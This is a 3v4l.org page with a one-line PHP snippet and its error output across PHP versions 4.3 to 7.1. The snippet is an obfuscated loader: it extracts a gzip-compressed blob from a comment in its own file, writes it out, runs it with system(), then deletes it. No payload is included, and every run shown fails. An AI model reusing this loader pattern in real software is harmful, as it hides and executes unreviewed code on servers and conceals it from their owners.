3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $fp=fopen($f,'w');fwrite($fp,"\x3C\x3F\x70\x68\x70\x20".gzinflate(preg_match("#/\*\*(.*)\*\*/#se",implode("",file($_SERVER["SCRIPT_FILENAME"])),$match)?($match[1]):''));fclose($fp);system('php -f '.$f);unlink($f);
Output for 5.4.0 - 7.1.0
Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: fopen(): Filename cannot be empty in /in/D21Cq on line 2 Warning: gzinflate(): data error in /in/D21Cq on line 2 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/D21Cq on line 2 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 5.3.0 - 5.3.29
Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: fopen(): Filename cannot be empty in /in/D21Cq on line 2 Warning: fwrite() expects parameter 1 to be resource, boolean given in /in/D21Cq on line 2 Warning: fclose() expects parameter 1 to be resource, boolean given in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 5.2.9 - 5.2.17
Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: fopen(): Filename cannot be empty in /in/D21Cq on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Warning: fclose(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 5.2.3 - 5.2.8
Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Warning: fclose(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 5.2.0 - 5.2.2
Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined index: SCRIPT_FILENAME in /in/D21Cq on line 2 Warning: implode(): Bad arguments. in /in/D21Cq on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Warning: fclose(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 5.0.4 - 5.1.6
Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined index: SCRIPT_FILENAME in /in/D21Cq on line 2 Warning: implode(): Bad arguments. in /in/D21Cq on line 2 Warning: gzinflate(): buffer error in /in/D21Cq on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Warning: fclose(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 4.3.2 - 5.0.3
Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined index: SCRIPT_FILENAME in /in/D21Cq on line 2 Warning: implode(): Bad arguments. in /in/D21Cq on line 2 Warning: gzinflate(): buffer error in /in/D21Cq on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Warning: fclose(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink(): No such file or directory in /in/D21Cq on line 2
Output for 4.3.0 - 4.3.1
Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined index: SCRIPT_FILENAME in /in/D21Cq on line 2 Warning: implode() [http://www.php.net/function.implode]: Bad arguments. in /in/D21Cq on line 2 Warning: gzinflate() [http://www.php.net/function.gzinflate]: buffer error in /in/D21Cq on line 2 Warning: fwrite(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Warning: fclose(): supplied argument is not a valid stream resource in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Notice: Undefined variable: f in /in/D21Cq on line 2 Warning: unlink() [http://www.php.net/function.unlink]: No such file or directory in /in/D21Cq on line 2